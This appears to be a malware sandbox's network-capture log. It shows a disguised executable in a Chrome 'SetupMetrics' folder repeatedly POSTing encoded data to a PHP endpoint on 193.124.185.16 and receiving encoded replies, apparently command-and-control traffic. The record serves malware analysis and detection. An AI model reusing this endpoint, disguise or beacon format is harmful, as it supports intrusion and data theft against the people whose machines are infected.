Dec 16, 2024 13:12:43.813642979 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:12:43.994621992 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:12:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 35 37 38 0d 0a 56 4a 7e 4c 7b 54 7f 02 7b 4c 74 05 7c 71 60 5e 7c 74 67 41 68 60 62 54 7a 73 5a 06 6a 5b 64 03 74 05 79 0b 6e 72 7a 5f 62 66 59 58 7d 71 78 01 55 4b 71 4f 77 72 73 4b 7c 71 7d 42 7d 77 69 50 6c 76 60 41 7d 60 7b 03 75 72 69 03 74 61 75 48 68 58 66 04 7e 7c 70 09 7e 67 70 59 76 4c 7b 06 7c 5b 61 01 7c 73 75 02 78 67 6c 04 6c 77 78 4f 7b 43 59 49 78 72 7c 49 6c 63 75 5e 68 70 52 06 78 74 60 49 7d 4c 6c 5a 61 5f 74 04 7a 51 41 5b 7f 64 7b 55 7f 61 5f 0c 77 6c 78 4c 6c 55 7f 59 60 5e 71 51 6d 5f 5c 5c 7e 42 66 04 6c 61 75 58 62 70 60 5f 62 71 70 41 63 61 50 50 7e 5d 7a 06 63 5c 6e 5d 76 66 7f 50 7e 7f 75 01 60 6f 63 5d 7f 05 7c 03 78 6f 73 03 6f 73 76 00 6b 6d 6c 08 77 49 6c 07 7e 62 66 09 7e 6d 6f 09 7b 7d 5f 5b 69 04 69 04 7b 5d 46 51 7c 7c 5e 0c 69 06 64 0c 6a 49 53 5f 78 6d 5a 5f 7b 72 68 03 7f 58 67 01 7e 01 63 0a 7f 60 66 52 6d 5a 73 59 7e 5b 7b 58 77 73 61 51 7b 5c 79 03 75 48 7c 4a 7d 48 64 06 7f 66 6d 42 74 62 6b 06 7c 62 65 04 7c 49 58 09 79 76 68 09 7c 63 63 4a 75 4c 53 03 77 [TRUNCATED] Data Ascii: 578VJ~L{T{Lt\|q`^\|tgAh`bTzsZj[dtynrz_bfYX}qxUKqOwrsK\|q}B}wiPlv`A}`{uritauHhXf~\|p~gpYvL{\|[a\|suxgllwxO{CYIxr\|Ilcu^hpRxt`I}LlZa_tzQA[d{Ua_wlxLlUY`^qQm_\\~BflauXbp`_bqpAcaPP~]zc\n]vfP~u`oc]\|xososvkmlwIl~bf~mo{}_[ii{]FQ\|\|^idjIS_xmZ_{rhXg~c`fRmZsY~[{XwsaQ{\yuH\|J}HdfmBtbk\|be\|IXyvh\|ccJuLSwOm~ar}RdC~gsKwaYzbiG~^[ygZCxIxx}sKzLpH{]\}pRK{IRJ\|r{Mwqd}lQE\|Y`_mu\|pL{\|hFw^Pz_m~RbOx_bHu]svalwqPpbw\uMuux\|lStRp~c\|{RoE{NfI\|Cxtw\|L}bb~}OxmT}LuO}`p\|lxpZ~gzN{}U{\\|F\|_s}Iopa@zcZbpIw]}zqaJvHp}Xp}HawbwI\}}gf{X\|~sUvLmNwq[~qzH}\|tggwqgIxbaH\|p[I{gZNxYp{CUHzblxcv{]NZodp}rQbagYio\|Z\|dh}avTwo]z\|pvpnyqn]~Uz_z\y\}b`g{ZL~JxYbMc\aufpBk\|b_tY\|ssX{{o^WXh}cTtds\}bz@zSYQoa_jnzBkcIrPoWjbTjaMolV[TagFRXidx`l~VZw[ja]ZZvVzk[qxAzXU]iebU`{}b[k^boflA~]cuLatnZh~I~RcQyYBqXV\WzCWc\CT_Mlkla\|~\ZXzt\|]K{YxF~bQq\BYi`DQtIhXL`wFQpZXv]}vnmWWdoOTLzBqZR_ZwE]bSISXNca\EZQ~Qzzc`ZRf`JWAA\|YW_P{J]d]FRZAinRHW [TRUNCATED]
Dec 16, 2024 13:12:43.994720936 CET	362	IN	Data Raw: 59 76 4c 6e 64 70 03 79 5d 00 5d 5d 4e 72 62 56 06 7a 41 71 5b 46 5b 69 00 67 41 53 75 40 09 63 04 5e 46 6a 04 7e 43 56 64 06 09 55 5c 55 7c 51 05 60 5c 71 5c 57 5f 6f 63 75 59 7d 76 79 5f 6a 6f 0c 4e 52 7b 64 5d 59 62 07 56 6c 04 01 01 51 5a 6a Data Ascii: YvLndpy]]]NrbVzAq[F[igASu@c^Fj~CVdU\U\|Q`\q\W_ocuY}vy_joNR{d]YbVlQZjJSf\Tdl\yPxgU[Yo`fQgk[RtcIz_A^bcFPNh]MjzOZVkFWUgD]qyOnraY\|QyydfzBqZR_ZwE]bSISX][YfTSVbz`oYx]VZbUKQsTTcnUZ^U\ie~KzTRTWuETaTGPXKk`kIT\|gSi`~\|ScD
Dec 16, 2024 13:12:44.526798010 CET	290	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 384 Expect: 100-continue
Dec 16, 2024 13:12:44.885859966 CET	384	OUT	Data Raw: 54 57 59 56 5f 5a 54 5e 58 59 51 57 59 52 54 5b 59 5c 59 49 56 5b 5a 5c 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TWYV_ZT^XYQWYRT[Y\YIV[Z\T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!+;6%#%1[(55)Z';#V>B#^!/%?$?&28>%G!"Z*
Dec 16, 2024 13:12:44.912945032 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:12:45.310399055 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 23 51 35 39 2a 58 26 13 2f 56 30 3e 36 5a 24 06 0e 18 3f 3e 33 00 3e 3e 15 16 3d 3c 37 5e 33 06 37 1b 3d 07 39 13 3f 3c 2c 13 29 31 2a 58 02 12 25 00 3d 32 28 0e 2c 3d 39 0d 29 2e 3a 1a 37 06 2f 58 24 3d 33 1b 25 03 25 5c 20 07 0b 53 3c 17 02 1f 29 2f 2d 05 29 3d 33 11 29 3e 21 50 08 11 26 08 3f 3c 2c 0c 28 23 05 12 21 23 30 5a 27 2a 3c 0a 27 0d 37 0d 31 02 05 5a 3e 32 3b 59 3e 00 04 13 3a 07 03 00 36 0f 21 51 2a 38 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98#Q59X&/V0>6Z$?>3>>=<7^37=9?<,)1X%=2(,=9).:7/X$=3%%\ S<)/-)=3)>!P&?<,(#!#0Z'<'71Z>2;Y>:6!Q8.Q#)Q4\Q0
Dec 16, 2024 13:12:45.310854912 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:12:45.667237997 CET	1096	OUT	Data Raw: 54 56 5c 50 5a 5b 54 5d 58 59 51 57 59 5c 54 51 59 54 59 48 56 5f 5a 58 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TV\PZ[T]XYQWY\TQYTYHV_ZXT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!);.Y&9#!^)&36.0=77!?"+$$&0>,%G!"Z>
Dec 16, 2024 13:12:45.697742939 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:12:46.122059107 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0
Dec 16, 2024 13:12:46.122596025 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1376 Expect: 100-continue
Dec 16, 2024 13:12:46.479453087 CET	1376	OUT	Data Raw: 51 53 5c 50 5a 5f 54 5c 58 59 51 57 59 53 54 5c 59 59 59 42 56 51 5a 5f 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QS\PZ_T\XYQWYST\YYYBVQZ_T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!Z)^%&!6)X>&(W6%_'<B4!?((1" W<%G!"Z*
Dec 16, 2024 13:12:46.509311914 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:12:46.969079971 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:12:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 20 0c 21 14 2e 5c 25 13 2b 1e 27 3d 2a 58 27 28 30 18 2b 3d 38 5f 3e 10 24 06 2a 01 09 10 27 3c 2f 5d 3d 3e 39 57 28 01 3f 02 28 21 2a 58 02 12 26 10 2a 0c 05 57 2c 03 00 57 3d 04 26 1a 34 06 24 02 32 3e 20 0a 26 39 3d 5d 34 3a 3a 0c 3c 17 20 1e 29 3c 00 14 3d 5b 2c 03 3e 2e 21 50 08 11 26 0f 2b 02 2c 0c 2a 23 3f 1d 20 33 38 5a 33 17 3b 55 25 23 3f 0d 32 5a 3b 5f 2a 32 1a 06 2a 10 2a 1e 2c 29 26 5e 22 57 35 52 3d 38 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98 !.\%+'=X'(0+=8_>$'</]=>9W(?(!X&W,W=&4$2> &9=]4::< )<=[,>.!P&+,#? 38Z3;U%#?2Z;_2**,)&^"W5R=8.Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49741	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:12:44.682813883 CET	290	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 384 Expect: 100-continue
Dec 16, 2024 13:12:45.042341948 CET	384	OUT	Data Raw: 51 57 5c 53 5f 59 51 5a 58 59 51 57 59 5d 54 5f 59 5f 59 40 56 5b 5a 5c 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QW\S_YQZXYQWY]T_Y_Y@V[Z\T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!851%4_)5S6.^%(7T7X!2(?D&0),%G!"Z
Dec 16, 2024 13:12:45.918504000 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:12:46.156084061 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 20 0f 22 3a 00 59 31 3d 20 0c 25 3d 3d 04 24 06 0d 43 2b 03 0a 58 3d 3e 37 14 2a 59 37 58 24 59 2b 16 28 3e 36 0d 3c 06 2c 5a 2a 21 2a 58 02 12 25 02 2a 32 33 54 2c 2d 25 0a 29 2d 35 40 23 2c 33 12 25 13 28 08 26 04 22 02 37 00 2d 55 3f 39 2c 55 3e 3f 2e 1b 29 3e 28 02 3e 14 21 50 08 11 26 0e 2a 3f 2f 12 29 0d 09 59 20 1d 3c 5f 27 07 3b 1f 33 55 2b 0d 32 5a 27 5f 3e 21 38 00 2a 10 31 02 2e 07 29 07 36 1f 35 1a 29 38 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98 ":Y1= %==$C+X=>7Y7X$Y+(>6<,Z!X%23T,-%)-5@#,3%(&"7-U?9,U>?.)>(>!P&?/)Y <_';3U+2Z'_>!81.)65)8.Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49747	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:12:46.500910044 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:12:46.854909897 CET	1096	OUT	Data Raw: 51 53 59 50 5f 5a 54 5b 58 59 51 57 59 52 54 5c 59 5f 59 48 56 58 5a 55 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QSYP_ZT[XYQWYRT\Y_YHVXZUT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!^-29)Y!5)C4R5=%^$?=45<%+4%;+<%G!"Z*
Dec 16, 2024 13:12:47.754956961 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:12:47.993745089 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:12:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49753	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:12:48.329189062 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:12:48.682580948 CET	1096	OUT	Data Raw: 54 5e 59 56 5f 5b 51 58 58 59 51 57 59 5b 54 51 59 59 59 44 56 58 5a 58 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: T^YV_[QXXYQWY[TQYYYDVXZXT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!Z-$)%!&)^=4#="$;+)0!?-+4?%?+,%G!"Z"
Dec 16, 2024 13:12:49.563402891 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:12:49.798587084 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:12:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49765	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:12:52.150872946 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:12:52.495450974 CET	1812	OUT	Data Raw: 51 52 59 5c 5f 5f 54 5f 58 59 51 57 59 5f 54 5d 59 5b 59 41 56 5d 5a 5a 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QRY\__T_XYQWY_T]Y[YAV]ZZT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y">8%9=Z75_>& 5X%0(4769)'+$" S)%G!"Z2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49768	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:12:52.968961954 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:12:53.323208094 CET	1096	OUT	Data Raw: 54 50 59 53 5f 5b 54 5a 58 59 51 57 59 58 54 5b 59 5a 59 40 56 58 5a 5c 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TPYS_[TZXYQWYXT[YZY@VXZ\T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!)8X1!^!59X>%3"&'(,,6.?'C2/><%G!"Z*.
Dec 16, 2024 13:12:54.205327988 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:12:54.438317060 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:12:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49776	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:12:57.950031042 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1092 Expect: 100-continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49779	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:12:58.289216995 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:12:58.635714054 CET	1812	OUT	Data Raw: 51 53 59 52 5f 5e 51 5f 58 59 51 57 59 58 54 59 59 59 59 49 56 50 5a 5d 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QSYR_^Q_XYQWYXTYYYYIVPZ]T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y![)!1) 6>%4V#.Z$;?4#Y"(<$13=<%G!"Z.
Dec 16, 2024 13:12:59.515155077 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:12:59.749838114 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:12:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 23 51 36 04 3e 5e 24 2d 28 0f 30 2e 32 10 30 06 24 1c 3c 3d 3f 05 3d 07 20 07 29 3c 24 00 24 11 20 07 29 58 2e 0c 3f 59 28 5b 29 1b 2a 58 02 12 26 58 3d 0c 2b 1d 2c 13 35 0f 2a 3d 2a 1a 20 2f 02 00 25 2d 3b 57 25 2a 00 07 37 07 26 0d 28 29 24 55 3e 3f 29 07 3d 03 2f 11 3f 3e 21 50 08 11 25 1a 3c 5a 33 1d 3d 20 37 5b 23 33 20 17 33 39 33 54 30 0d 3f 0a 31 02 24 00 29 1c 28 06 3e 3d 3d 05 3a 39 21 07 21 31 0b 17 2b 28 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98#Q6>^$-(0.20$<=?= )<$$ )X.?Y([)X&X=+,5=* /%-;W%*7&()$U>?)=/?>!P%<Z3= 7[#3 393T0?1$)(>==:9!!1+(.Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49781	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:12:58.605298042 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:12:58.963891029 CET	1096	OUT	Data Raw: 51 54 59 53 5f 58 54 5e 58 59 51 57 59 5c 54 5e 59 55 59 41 56 5f 5a 5c 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QTYS_XT^XYQWY\T^YUYAV_Z\T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!=;2$)=4%=&,S!-!0+ >$Z6%W+;&#%G!"Z>
Dec 16, 2024 13:12:59.834547997 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:00.066456079 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:12:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49785	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:00.411326885 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:13:00.766896963 CET	1096	OUT	Data Raw: 54 50 5c 53 5a 5b 54 5d 58 59 51 57 59 5b 54 5c 59 54 59 45 56 59 5a 59 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TP\SZ[T]XYQWY[T\YTYEVYZYT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y")._2= &9)(W5!$+;V$+#/%V)4$1!$W>,%G!"Z"
Dec 16, 2024 13:13:01.646538973 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:01.885570049 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

